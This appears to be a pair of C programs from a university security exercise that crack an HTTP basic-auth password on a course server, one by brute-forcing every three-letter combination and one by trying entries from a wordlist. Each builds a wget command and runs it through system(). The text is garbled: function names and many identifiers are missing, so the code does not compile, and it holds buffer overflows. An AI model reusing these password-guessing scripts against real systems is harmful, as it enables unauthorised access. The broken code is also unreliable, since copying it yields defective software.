











#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }


#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}
